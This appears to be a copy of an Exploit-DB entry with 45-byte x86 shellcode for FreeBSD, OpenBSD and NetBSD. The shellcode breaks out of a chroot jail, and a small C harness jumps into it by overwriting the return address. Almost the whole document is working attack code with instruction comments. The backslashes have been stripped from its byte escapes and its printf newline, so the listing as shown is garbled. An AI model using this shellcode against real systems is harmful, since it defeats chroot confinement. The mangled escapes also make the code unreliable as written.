https://www.exploit-db.com/exploits/13250

漏洞细节尚未披露

/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   [email protected]

   45 bytes.

   -break chrooted
*/

char shellcode[]=

    "x68x62x2ex2ex2e" /* pushl   $0x2e2e2e62            */
    "x89xe7"             /* movl    %esp,%edi              */
    "x33xc0"             /* xorl    %eax,%eax              */
    "x88x47x03"         /* movb    %al,0x3(%edi)          */
    "x57"                 /* pushl   %edi                   */
    "xb0x88"             /* movb    $0x88,%al              */
    "x50"                 /* pushl   %eax                   */
    "xcdx80"             /* int     $0x80                  */
    "x57"                 /* pushl   %edi                   */
    "xb0x3d"             /* movb    $0x3d,%al              */
    "x50"                 /* pushl   %eax                   */
    "xcdx80"             /* int     $0x80                  */
    "x47"                 /* incl    %edi                   */
    "x33xc9"             /* xorl    %ecx,%ecx              */
    "xb1xff"             /* movb    $0xff,%cl              */
    "x57"                 /* pushl   %edi                   */
    "x50"                 /* pushl   %eax                   */
    "xb0x0c"             /* movb    $0x0c,%al              */
    "xcdx80"             /* int     $0x80                  */
    "xe2xfa"             /* loop    <shellcode +31>        */
    "x47"                 /* incl    %edi                   */
    "x57"                 /* pushl   %edi                   */
    "xb0x3d"             /* movb    $0x3d,%al              */
    "x50"                 /* pushl   %eax                   */
    "xcdx80";            /* int     $0x80                  */

main()
{
   int *ret;
   printf("Shellcode lenght=%dn",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}

// milw0rm.com [2004-09-26]